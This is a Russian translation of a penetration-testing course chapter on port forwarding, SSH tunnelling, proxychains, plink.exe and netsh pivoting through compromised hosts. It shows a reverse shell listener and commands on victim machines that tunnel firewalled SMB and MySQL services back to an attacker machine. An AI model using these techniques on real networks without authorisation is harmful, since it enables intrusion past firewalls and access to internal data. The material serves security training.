Введение
В этой главе мы продемонстрируем различные виды перенаправления портов, туннелирования и инкапсуляции трафика. Понимание и освоение этих методов обеспечит нас "хирургическими" инструментами, необходимыми для манипулирования направлением потоков целевого трафика, который часто может быть полезен в ограниченных сетевых средах. Однако, это потребует экстремальной концентрации, так как эта тема, по общему признанию, является немного головоломным.
Ссылка скрыта от гостей
протокола включает в себя инкапсуляцию его в другой протокол. Используя различные техники туннелирования, мы можем передать необходимый нам протокол по несовместимой с ним сети или обеспечить безопасный путь через ненадежную сеть.
Ссылка скрыта от гостей
и концепции туннелирования могут быть трудны для понимания, поэтому мы будем использовать несколько гипотетических сценариев, чтобы обеспечить более четкое понимание процесса. Уделите время освоению каждого сценария, прежде чем переходить к следующему.Перенаправление портов
Перенаправление портов - это самая простая техника манипуляции трафиком, при которой мы будем перенаправлять трафик, предназначенный для одного IP-адреса и порта, на другой IP-адрес и порт.
RINETD
Начнем мы с относительно простого примера переадресации портов, основанного на следующем сценарии.
Во время атаки мы получили административный доступ к веб-серверу Linux, подключенному к Интернету. Оттуда мы нашли и скомпрометировали клиента Linux во внутренней сети, получив доступ к учетным данным SSH.
В этом довольно распространенном сценарии наша первая цель, веб-сервер Linux, имеет подключение к Интернету, а вторая машина, клиент Linux, нет. Мы смогли получить доступ к этому клиенту только через сервер, подключенный к Интернету. Для того, чтобы искать дальше, на этот раз с Linux-клиента, и начать проверять другие компютеры во внутренней сети, мы должны быть в состоянии передавать инструменты с нашей атакующей машины и отфильтровывать данные для неё по мере необходимости. Так как этот клиент не может напрямую связаться с Интернетом, мы должны использовать скомпрометированный веб-сервер Linux в качестве посредника, дважды перемещая данные и создавая очень утомительный процесс передачи данных.
Мы можем использовать методы переадресации портов, чтобы облегчить этот процесс. Чтобы воссоздать этот сценарий, наша виртуальная машина Kali Linux, подключённая к Интернету, будет стоять в роли скомпрометированного веб-сервера Linux, а наш выделенный Linux-компьютер с Debian - в качестве внутреннего клиента Linux, отключённого от Интернета. Наше окружение будет выглядеть примерно так:
Рисунок 1: Фильтрация исходящих пакетов не позволяет выгружать данные
Настроено так, что наш компьютер Кали может получить доступ к Интернету, а клиент - нет. Мы можем проверить подключение с нашего компьютера Кали, отправив пинг на google.com и подключившись к полученному IP с помощью nc -nvv 216.58.207.142 80:
Код:
kali@kali:~$ ping google.com -c 1
PING google.com (216.58.207.142) 56(84) bytes of data.
64 bytes from muc11s03-in-f14.1e100.net (216.58.207.142): icmp_seq=1 ttl=128 time=26.4 ms
--- google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 26.415/26.415/26.415/0.000 ms
kali@kali:~$ root@kali:~# nc -nvv 216.58.207.142 80
(UNKNOWN) [216.58.207.142] 80 (http) open
GET / HTTP/1.0
HTTP/1.0 200 OK
Date: Mon, 26 Aug 2019 15:38:42 GMT
Expires: -1
Cache-Control: private, max-age=0
...
...Листинг 1 - Получение IP адреса google.com
Как и ожидалось, наша атакующая машина Кали имеет доступ к интернет. Далее, мы подключимся по SSH к скомпрометированному клиенту Linux и протестируем Интернет-соединение оттуда, опять же с Netcat. Обратите внимание, что мы снова используем IP адрес, поскольку реальная внутренняя сеть, отключенная от интернет, может не иметь работающего внешнего DNS.
Код:
kali@kali:~# ssh student@10.11.0.128
student@10.11.0.128's password:
Linux debian 4.9.0-6-686 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686
...
student@debian:~$ nc -nvv 216.58.207.142
(UNKNOWN) [216.58.207.142] 80 (http) : No route to host
sent 0, rcvd 0Листинг 2 - Подключение к внешнему IP адесу невозможно из-за отсутствия доступа к Интернет
На этот раз тест на подключение к Интернету не удался, что указывает на то, что наш клиент Linux действительно отключен от Интернета. Для того, чтобы передать файлы на хост, не подключенный к Интернету, мы должны сначала передать их на веб-сервер Linux, а затем передать их снова по назначению.
Вместо этого мы используем инструмент перенаправления портов
Ссылка скрыта от гостей
для перенаправления трафика на наш сервер Kali Linux. Этот инструмент прост в настройке, доступен в репозиториях Kali Linux и легко устанавливается через apt:
Код:
kali@kali:~$ sudo apt update && sudo apt install rinetdЛистинг 3 - Установка rinetd из репозиториев Kali Linux
В файле конфигурации rinetd, /etc/rinetd.conf, перечислены правила переадресации, требующие четырех параметров, включая bindaddress и bindport, которые определяют привязанный ("прослушивающий") IP-адрес и порт, а также connectaddress и connectaddport, которые определяют адрес и порт назначения трафика:
Код:
kali@kali:~$ cat /etc/rinetd.conf
...
# forwarding rules come here
#
# you may specify allow and deny rules after a specific forwarding rule
# to apply to only that forwarding rule
#
# bindadress bindport connectaddress connectport
...Листинг 4 - Конфигурационный файл по умолчанию для rinetd
Например, мы можем использовать rinetd для перенаправления любого трафика, полученного веб-сервером Кали в порту 80, на IP-адрес google.com, который мы использовали в наших тестах. Для этого мы отредактируем файл конфигурации rinetd и укажем следующее правило переадресации:
Код:
kali@kali:~$ cat /etc/rinetd.conf
...
# bindadress bindport connectaddress connectport
0.0.0.0 80 216.58.207.142 80
...Листинг 5 - Добавляем правило форвардинга в конфигурационный файл rinetd
Это правило устанавливает, что весь трафик, полученный на порту 80 нашего сервера Kali Linux, прослушивая на всех интерфейсах (0.0.0.0), независимо от адреса назначения, будет перенаправлен на 216.58.207.142:80. Это именно то, что мы хотим. Мы можем перезапустить сервис rinetd с помощью service и подтвердить, что сервис прослушивает на TCP порту 80 с помощью ss (статистика сокетов):
Код:
kali@kali:~$ sudo service rinetd restart
kali@kali:~$ ss -antp | grep "80"
LISTEN 0 5 0.0.0.0:80 0.0.0.0:* users:(("rinetd",pid=1886,fd=4))Листинг 6 - Запуск сервиса rinetd и использование ss для подтверждения использования порта
Отлично! Порт прослушивается. Для проверки мы можем подключиться к порту 80 на нашей виртуальной машине Kali Linux:
Код:
student@debian:~$ nc -nvv 10.11.0.4 80
(UNKNOWN) [10.11.0.4] 80 (http) open
GET / HTTP/1.0
HTTP/1.0 200 OK
Date: Mon, 26 Aug 2019 15:46:18 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Server: gws
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2019-08-26-15; expires=Wed, 25-Sep-2019 15:46:18 GMT; path=/; domai
n=.google.com
Set-Cookie: NID=188=Hdg-h4aalehFQUxAOvnI87Mtwcq80i07nQqBUfUwDWoXRcqf43KYuCoBEBGmOFmyu0
kXyWZCiHj0egWCfCxdote0ScMX6ArouU2jF4DZeeFHBhqZCvLJDV3ysgPzerRkk9pcLi7HEnbeeEn5xR9BgWfz
4jvZkjnzYDwlfoL2ivk; expires=Tue, 25-Feb-2020 15:46:18 GMT; path=/; domain=.google.com
; HttpOnly
...Листинг 7 - Успешный доступ к внешнему IP адресу через нашу виртуальную машину Kali Linux
Подключение к нашему Linux-серверу прошло успешно, и мы выполнили GET-запрос на веб-сервер. Как видно из поля Set-Cookie, соединение было переадресовано должным образом, и мы, по сути, подключились к веб-серверу Google.
Теперь мы можем использовать эту технику для подключения с нашего отключенного от Интернет клиента Linux, через веб-сервер Linux, к любому хосту, подключенному к Интернету, просто изменив поля connectaddress и connectport в файле /etc/rinetd.conf на веб-сервере.
На рисунке 2 этот процесс представлен в наглядном виде:
Рисунок 2: Обход фильтрации исходящего трафика
Это один из самых базовых сценариев в данной главе.
SSH-туннелирование
Протокол
Ссылка скрыта от гостей
является одним из самых популярных протоколов для
Ссылка скрыта от гостей
. Это связано с его способностью создавать зашифрованные туннели внутри протокола SSH, который поддерживает двунаправленные каналы связи. Эта малоизвестная особенность протокола SSH имеет далеко идущие последствия как для пентестеров, так и для системных администраторов.Перенаправление локальных портов SSH
Переадресация локального порта SSH позволяет нам туннелировать локальный порт к удаленному серверу, используя SSH в качестве транспортного протокола. Эффект от этой техники аналогичен переадресации портов rinetd.
Давайте рассмотрим другой сценарий. Во время атаки мы скомпрометировали цель на базе Linux через удаленную уязвимость, повысили наши привилегии до уровня root и получили доступ к паролям как для пользователей root, так и для пользователей на машине. Похоже, что на этой скомпрометированной машине нет фильтрации исходящего трафика, а только SSH (порт 22), RDP (порт 3389) и уязвимый порт службы, которые разрешены на брандмауэре.
Собрав информацию о скомпрометированном клиенте Linux, мы обнаружили, что помимо того, что он подключен к текущей сети (10.11.0.x), у него есть еще один сетевой интерфейс, который, кажется, подключен к другой сети (192.168.1.x). В этой внутренней подсети мы находим машину Windows Server 2016, которая имеет доступ к общим сетевым ресурсам.
Чтобы смоделировать эту конфигурацию в нашей тестовой среде, мы запустим скрипт ssh_local_port_forwarding.sh с нашего выделенного Linux клиента:
Код:
root@debian:~# cat /root/port_forwarding_and_tunneling/ssh_local_port_forwarding.sh
#!/bin/bash
# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X
# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 3389 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
root@debian:~# /root/port_forwarding_and_tunneling/ssh_local_port_forwarding.shЛистинг 8 - Содержание скрипта ssh_local_port_forwarding.sh
В данном сценарии мы могли бы скопировать необходимые инструменты атаки и сбора информации на скомпрометированную Linux-машину, а затем попытаться взаимодействовать с общими папками на сервере 2016, но это не элегантно и не масштабируемо. Вместо этого, мы хотим взаимодействовать с этой новой целью из нашей атакующей Интернет-машины Кали, используя этот скомпрометированный Linux клиент как опорный узел (pivoting). Таким образом, мы будем иметь доступ ко всем инструментам на нашей машине Кали при взаимодействии с целью.
Это потребует некоторой магии переадресации портов, и мы будем использовать функцию переадресации локального порта клиента ssh (вызываемого с помощью ssh -L).
Синтаксис следующий:
Код:
ssh -N -L [bind_address:]port:host:hostport [username@address]Листинг 9 - Вид команды для проброса локального порта с использованием SSH
Обращаясь к руководству ssh-клиента (man ssh), мы замечаем, что параметр -L задает порт на локальном хосте, который будет перенаправлен на удаленный адрес и порт.
В нашем сценарии, мы хотим перенаправить порт 445 (Microsoft сети без NetBIOS) на нашей машине Кали на порт 445 на Windows Server 2016. Когда мы сделаем это, любые запросы Microsoft file sharing, направленные на нашу машину Кали, будут перенаправлены на нашу цель Windows Server 2016.
Это кажется невозможным, учитывая, что брандмауэр блокирует трафик на TCP-порту 445, но эта переадресация порта проходит по туннелю через SSH-сессию к нашей Linux-цели на 22-м порту, который разрешен брандмауэром. В итоге, запрос попадет на нашу машину Кали на порт 445, затем будет перенаправлен через SSH-сессию, а потом будет передан на порт 445 на целевом сервере Windows Server 2016.
Если все сделано правильно, наша настройка туннелирования и переадресации будет выглядеть так, как показано на рисунке 3:
Рисунок 3: Схема local port forwarding
Для этого мы выполним команду ssh с нашей атакующей машины Kali Linux. Технически мы не будем выдавать команды ssh (-N), а установим переадресацию портов (с помощью -L), привяжем порт 445 на нашей локальной машине (0.0.0.0:445) к порту 445 на Windows Server (192.168.1.110:445) и сделаем это через сеанс к нашей первой цели Linux, войдя в систему как студент (student@10.11.0.128):
Код:
kali@kali:~$ sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128
student@10.11.0.128's password:Листинг 10 - Проброс TCP порта 445 с нашей машины Kali Linux на TCP порт 445 на Windows Server 2016
На данный момент, любое входящее соединение на Kali Linux на TCP-порт 445 будет перенаправлено на TCP-порт 445 по IP-адресу 192.168.1.110 через наш скомпрометированный Linux-клиент.
Перед тестированием нам необходимо внести небольшое изменение в конфигурационный файл Samba, чтобы установить минимальную версию SMB на SMBv2, добавив в конец файла "min protocol = SMB2", как показано в Листинге 11. Это происходит потому, что Windows Server 2016 больше не поддерживает SMBv1 по умолчанию.
Код:
kali@kali:~$ sudo nano /etc/samba/smb.conf
kali@kali:~$ cat /etc/samba/smb.conf
...
Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
; write list = root, @lpadmin
min protocol = SMB2
kali@kali:~$ sudo /etc/init.d/smbd restart
[ ok ] Restarting smbd (via systemctl): smbd.service.Листинг 11 - Обновление протокола SAMBA с SMBv1 на SMBv2
Наконец, мы можем попробовать составить список удаленных общих ресурсов на машине Windows Server 2016, направив запрос на нашу машину Кали.
Мы используем утилиту smbclient, предоставляющую IP адрес или NetBIOS имя, в данном случае нашу локальную машину (-L 127.0.0.1) и имя удаленного пользователя (-U Administrator). Если все пойдет по плану, то после ввода удаленного пароля весь трафик на этом порту будет перенаправлен на машину с Windows и нам будут предоставлены доступные ресурсы:
Код:
kali@kali:~# smbclient -L 127.0.0.1 -U Administrator
Unable to initialize messaging context
Enter WORKGROUP\Administrator's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------Листинг 12 - Список сетевых разделяемых ресурсов на Windows Server 2016, полученный через local port forwarding
Команда выполнилась успешно и, поскольку этот трафик проходил по туннелю через SSH, вся транзакция была зашифрована. Мы можем использовать эту настройку переадресации портов для продолжения анализа целевого сервера через порт 445, или переадресации других портов для проведения дополнительной разведки.
Переадресация удаленных портов SSH
Функция remote port forwarding в SSH может рассматриваться как обратная переадресация локального порта, в том смысле, что порт открывается на remote (удаленной) стороне соединения, и трафик, направляемый на этот порт, переадресовывается на порт на нашей локальной машине (машине, инициирующей SSH-соединение).
Короче говоря, соединения на указанный TCP-порт на удаленном хосте будут переадресовываться на указанный порт на локальном компьютере. Это может быть лучше всего продемонстрировано в новом сценарии.
В этом случае мы имеем доступ к нерутовому шеллу на клиенте Linux во внутренней сети. На этой скомпрометированной машине мы обнаруживаем, что MySQL сервер работает на TCP порту 3306. В отличие от предыдущего сценария, брандмауэр блокирует входящие TCP соединения на порт 22 (SSH), поэтому мы не можем использовать SSH на этом сервере с нашей машины Кали, подключенной к Интернету.
Однако мы можем инициировать SSH-сединение с этого сервера на нашу атакующую машину Кали, так как исходящий TCP порт 22 разрешен на брандмауэре. Мы можем использовать SSH remote port forwarding (вызывается с помощью ssh -R) для открытия порта на нашей машине Кали, который перенаправляет трафик на порт MySQL (TCP 3306) на внутреннем сервере. Весь переадресованный трафик будет проходить через SSH туннель, прямо через брандмауэр.
Чтобы смоделировать этот сценарий, мы запустим скрипт ssh_remote_port_forwarding.sh на нашем выделенном Linux-клиенте:
Код:
root@debian:~# cat /root/port_forwarding_and_tunneling/ssh_remote_port_forwarding.sh
#!/bin/bash
# Clear iptables rules
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables -X
# SSH Scenario
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 3389 -m state --state NEW -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
root@debian:~# /root/port_forwarding_and_tunneling/ssh_remote_port_forwarding.shЛистинг 13 - Содержание скрипта ssh_remote_port_forwarding.sh
Синтаксис команды ssh для создания этого туннеля будет включать локальный IP и порт, удаленный IP и порт, и -R для указания удаленной переадресации:
Код:
ssh -N -R [bind_address:]port:host:hostport [username@address]Листинг 14 - Синтаксис команды для remote port forwarding с использованием SSH
В этом случае мы создадим туннель ssh на нашу машину Kali с пользователем Kali (kali@10.11.0.4), укажем no commands (-N) и remote forward (-R). Мы откроем листнер (listener) на TCP порту 2221 на нашей машине Кали (10.11.0.4:2221) и переадресуем соединения на локальный TCP порт 3306 машины Linux (127.0.0.1:3306):
Код:
student@debian:~$ ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4
kali@10.11.0.4's password:Листинг 15 - Удаленное перенаправление TCP порта 2221 на TCP порт 3306 скомпрометированной Linux машины
Это перенаправит весь входящий трафик на локальный порт 2221 нашей Кали в порт 3306 на скомпрометированном компьютере через туннель SSH (TCP 22), позволяя нам достигнуть порта MySQL, даже если он отфильтрован на брандмауэре.
Схема соединений данного сценария представлена на рисунке 4:
Рисунок 4: Схема remote port forwarding
Подняв туннель, мы можем переключиться на нашу машину Кали и проверить, что TCP порт 2221 открыт (прослушивается), и просканировать локальный хост на этом порту с помощью nmap, который будет снимать fingerprint с целевого сервиса MySQL:
Код:
kali@kali:~$ ss -antp | grep "2221"
LISTEN 0 128 127.0.0.1:2221 0.0.0.0:* users:(("sshd",pid=2294,fd=9))
LISTEN 0 128 [::1]:2221 [::]:* users:(("sshd",pid=2294,fd=8))
kali@kali:~$ sudo nmap -sS -sV 127.0.0.1 -p 2221
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000039s latency).
PORT STATE SERVICE VERSION
2221/tcp open mysql MySQL 5.5.5-10.1.26-MariaDB-0+deb9u1
Nmap done: 1 IP address (1 host up) scanned in 0.56 secondsЛистинг 16 - Доступ к серверу MYSQL на жертве через remote tunnel0
Если мы можем сканировать порт, у нас не должно возникнуть проблем с взаимодействием со службой MySQL через туннель SSH, используя любой из соответствующих инструментов, установленных в Kali.
Динамическое перенаправление портов SSH
А теперь самое интересное. Динамическая переадресация портов SSH позволяет нам установить локальный порт прослушивания и туннелировать входящий трафик в любое удаленное место назначения с помощью прокси.
В этом сценарии (аналогичном тому, который используется в разделе перенаправления локального порта SSH), мы взломали цель на основе Linux и повысили наши привилегии. Похоже, что на брандмауэре нет ограничений на входящий или исходящий трафик.
После сбора информации о скомпрометированном клиенте Linux мы обнаруживаем, что он не только подключен к текущей сети (10.11.0.x), но и имеет дополнительный сетевой интерфейс, который подключен к другой сети (192.168.1.x). В этой внутренней подсети мы нашли компьютер с Windows Server 2016, на котором доступны общие сетевые ресурсы.
В разделе local port forwarding нам удалось получить доступ к общим ресурсам на машине Windows Server 2016; однако этот метод был ограничен конкретным IP-адресом и портом. В этом примере мы хотели бы настроить таргетинг на дополнительные порты на машине Windows Server 2016 или узлы во внутренней сети без необходимости устанавливать разные туннели для каждого интересующего порта или узла.
Чтобы смоделировать этот сценарий в нашей лабораторной среде, мы снова запустим скрипт ssh_local_port_forwarding.sh на нашем выделенном клиенте Linux.
После настройки окружения мы можем использовать ssh -D, чтобы указать локальную динамическую переадресацию портов на уровне приложения SOCKS4 (снова туннелируемую в SSH) со следующим синтаксисом:
Код:
ssh -N -D <address to bind to>:<port to bind to> <username>@<SSH server address>Листинг 17 - Синтаксис команды динамического перенаправления портов с использованием SSH
Используя приведенный выше синтаксис, мы можем создать локальный прокси-сервер приложения SOCKS4 (-N -D) на нашей машине Kali Linux на TCP-порту 8080 (127.0.0.1:8080), который будет туннелировать весь входящий трафик на любой хост в целевой сети через скомпрометированный компьютер Linux, в который мы вошли как student (student@10.11.0.128):
Код:
kali@kali:~$ sudo ssh -N -D 127.0.0.1:8080 student@10.11.0.128
student@10.11.0.128's password:Листинг 18 - Создание динамического туннеля SSH к нашей целевой сети на TCP порт 8080
Хотя мы запустили прокси-сервер, который может направлять трафик приложения в целевую сеть через туннель SSH, мы должны каким-то образом направить наши инструменты разведки и атаки на использование этого прокси. Мы можем запустить любое сетевое приложение через прокси HTTP, SOCKS4 и SOCKS5 с помощью ProxyChains.
Чтобы настроить ProxyChains, мы просто отредактируем основной файл конфигурации (/etc/proxychains.conf) и добавим в него наш прокси SOCKS4:
Код:
kali@kali:~$ cat /etc/proxychains.conf
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 8080Листинг 19 - Добавляем прокси SOCKS4 в конфигурационный файл ProxyChains
Схема сценария показана на Рисунке 5:
Рисунок 5: Схема Dynamic port forwarding
Чтобы запустить наши инструменты через прокси-сервер SOCKS4, мы добавляем к каждой команде proxychains.
Например, давайте попробуем просканировать машину Windows Server 2016 во внутренней целевой сети с помощью nmap. В этом примере мы не передаем никаких параметров в proxychains, кроме команды nmap и ее аргументов:
Код:
kali@kali:~$ sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.60 ( https://nmap.org ) at 2019-04-19 18:18 EEST
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:443-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:23-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:80-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:8080-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:445-<><>-OK
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:135-<><>-OK
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:139-<><>-OK
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:22-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:3389-<><>-OK
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:1723-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:21-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:5900-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:111-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:25-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:53-<><>-OK
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:993-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:3306-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:143-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:995-<--timeout
|S-chain|-<>-127.0.0.1:8080-<><>-192.168.1.110:110-<--timeout
Nmap scan report for 192.168.1.110
Host is up (0.17s latency).
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
25/tcp closed smtp
53/tcp open domain
80/tcp closed http
110/tcp closed pop3
111/tcp closed rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp closed imap
443/tcp closed https
445/tcp open microsoft-ds
993/tcp closed imaps
995/tcp closed pop3s
1723/tcp closed pptp
3306/tcp closed mysql
3389/tcp open ms-wbt-server
5900/tcp closed vnc
8080/tcp closed http-proxy
Nmap done: 1 IP address (1 host up) scanned in 3.54 secondsЛистинг 20 - Использование nmap для сканирования компьютера через динамический туннель
В листинге 20 ProxyChains отработал, как ожидалось, динамически маршрутизируя весь наш трафик на различные порты, без необходимости перенаправления отдельных портов.
PLINK.exe
До этого момента все используемые нами методы переадресации портов и туннелирования основывались на инструментах, которые обычно встречаются в системах *NIX. Теперь давайте узнаем, как мы можем выполнять переадресацию портов и туннелирование в операционных системах на базе Windows.
Чтобы продемонстрировать это, предположим, что мы получили доступ к машине с Windows 10 во время нашей атаки через уязвимость в программном обеспечении Sync Breeze и получили реверс шелл уровня SYSTEM.
Код:
kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 49937
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>Листинг 21 - Получение реверс шелл с машины Windows 10
В процессе сбора информации мы обнаруживаем службу MySQL, работающую на TCP-порту 3306.
Код:
C:\Windows\system32>netstat -anpb TCP
netstat -anpb TCP
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
[syncbrs.exe]
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
RpcSs
[svchost.exe]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
Can not obtain ownership information
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING
[mysqld.exe]Листинг 22 - Определение сервиса MYSQL, работающего на порту 3306
Мы хотели бы просканировать эту базу данных или взаимодействовать со службой. Однако, из-за брандмауэра, мы не можем напрямую взаимодействовать с этим сервисом с нашей Kali машины.
Мы загрузим
Ссылка скрыта от гостей
, SSH-клиент для Windows (часть проекта PuTTY)) на нашу цель, чтобы преодолеть это ограничение. Синтаксис команды аналогичен UNIX-подобному ssh-клиенту:
Код:
C:\Tools\port_redirection_and_tunneling> plink.exe
plink.exe
Plink: command-line connection utility
Release 0.70
Usage: plink [options] [user@]host [command]
("host" can also be a PuTTY saved session name)
Options:
-V print version information and exit
-pgpfp print PGP key fingerprints and exit
-v show verbose messages
-load sessname Load settings from saved session
-ssh -telnet -rlogin -raw -serial
force use of a particular protocol
-P port connect to specified port
-l user connect with specified username
-batch disable all interactive prompts
-proxycmd command
use 'command' as local proxy
-sercfg configuration-string (e.g. 19200,8,n,1,X)
Specify the serial configuration (serial only)
The following options only apply to SSH connections:
-pw passw login with specified password
-D [listen-IP:]listen-port
Dynamic SOCKS-based port forwarding
-L [listen-IP:]listen-port:host:port
Forward local port to remote address
-R [listen-IP:]listen-port:host:port
Forward remote port to local address
-X -x enable / disable X11 forwarding
-A -a enable / disable agent forwarding
-t -T enable / disable pty allocation
...Листинг 23 - Меню помощи в plink.exe
Мы можем использовать plink.exe для подключения через SSH (-ssh) к нашей машине Kali (10.11.0.4) в качестве пользователя kali (-l kali) с паролем "ilak" (-pw ilak) для создания удаленного перенаправления порта (-R) порта 1234 (10.11.0.4:1234) на порт MySQL на Windows target (127.0.0.1:3306) с помощью следующей команды:
Код:
C:\Tools\port_redirection_and_tunneling> plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4Листинг 24 - Попытка установки remote port forwarding на неизвестный хост (подключаемый впервые)
При первом подключении к узлу plink попытается кэшировать ключ узла в реестре. Если мы выполним команду через соединение с клиентом Windows через rdesktop, мы увидим этот интерактивный шаг:
Рисунок 6: PLINK требует подтверждения кеширования ключа при первом подключении к хосту
Однако, это не сработает с нашим уровнем интерактивности в типичном реверс шелле, поэтому мы должны передать ответ на запрос командой cmd.exe /c echo y. Затем из нашего реверс шелла эта команда успешно создаст remote port forward без какого-либо взаимодействия:
Код:
C:\Tools\port_redirection_and_tunneling> cmd.exe /c echo y | plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4
cmd.exe /c echo y | plink.exe -ssh -l root -pw toor -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4
(прим. пер. разница в строках - как в учебнике)
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
kali@kali:~$Листинг 25 - Создание удаленного туннеля с помощью plink.exe (без требуемого взаимодействия)
Теперь, когда наш туннель работает, мы можем попытаться запустить Nmap сканирование целевого MySQL порта через наш локальный TCP порт 1234:
Код:
kali@kali:~$ sudo nmap -sS -sV 127.0.0.1 -p 1234
Starting Nmap 7.60 ( https://nmap.org ) at 2019-04-20 05:00 EEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
1234/tcp open mysql MySQL 5.5.5-10.1.31-MariaDB
Nmap done: 1 IP address (1 host up) scanned in 0.93 secondsЛистинг 26 - Запуск сканирования сервиса MYSQL с использованием nmap через туннель
Похоже, все работает. Мы успешно просканировали сервис SQL компьютера Windows 10 через remote port forward на нашей атакующей машине Kali.
NETSH
Для этого раздела мы рассмотрим следующий сценарий:
Во время атаки мы скомпрометировали цель Windows 10 через удаленную уязвимость и смогли успешно поднять наши привилегии до уровня SYSTEM. После сбора информации о скомпрометированной машине, мы обнаружили, что в дополнение к подключению к текущей сети (10.11.0.x), она имеет еще один сетевой интерфейс, который подключен к другой сети (192.168.1.x). В этой внутренней подсети мы нашли машину Windows Server 2016 (192.168.1.110) на которой открыт TCP-порт 445.
Теперь мы можем искать способы перехода (pivot) в сеть жертвы с шеллом уровня SYSTEM на машине Windows 10. Из-за нашего уровня привилегий, нам не придется иметь дело с контролем учетных записей пользователей (User Account Control - UAC), что означает, что мы можем использовать утилиту
Ссылка скрыта от гостей
(установленную по умолчанию для каждой современной версии Windows) для переадресации портов и pivoting.Однако, чтобы это работало, в Windows должна быть запущена служба IP Helper и включена поддержка IPv6 для интерфейса, который мы хотим использовать. К счастью, и то, и другое включено по умолчанию на операционных системах Windows.
Мы можем проверить, что служба IP Helper запущена из Windows Service:
Рисунок 7: Сервис IP Helper запущен
Мы можем проверить наличие поддержки IPv6 в настройках сетевого интерфейса:
Рисунок 8: Поддержка IPv6 включена
Подобно примеру переадресации локального порта SSH, мы попытаемся перенаправить трафик, предназначенный для TCP-порта 4455 взломанной Windows 10, на порт 445 Windows Server 2016.
В этом примере мы используем контекст netsh (interface) для добавления add IPv4-to-IPv4 (v4tov4) прокси (portproxy) прослушивания 10.11.0.22 (listenaddress=10.11.0.22), порт 4455 (listenport=4455), который будет перенаправлен на сервер Windows 2016 (connectaddress=192.168.1.110) на порт 445 (connectport=445):
Код:
C:\Windows\system32> netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110Листинг 27 - Local port forwarding с использованием netsh
Используя netstat, мы можем подтвердить, что порт 4455 прослушивается на скомпрометированном узле Windows:
Код:
C:\Windows\system32> netstat -anp TCP | find "4455"
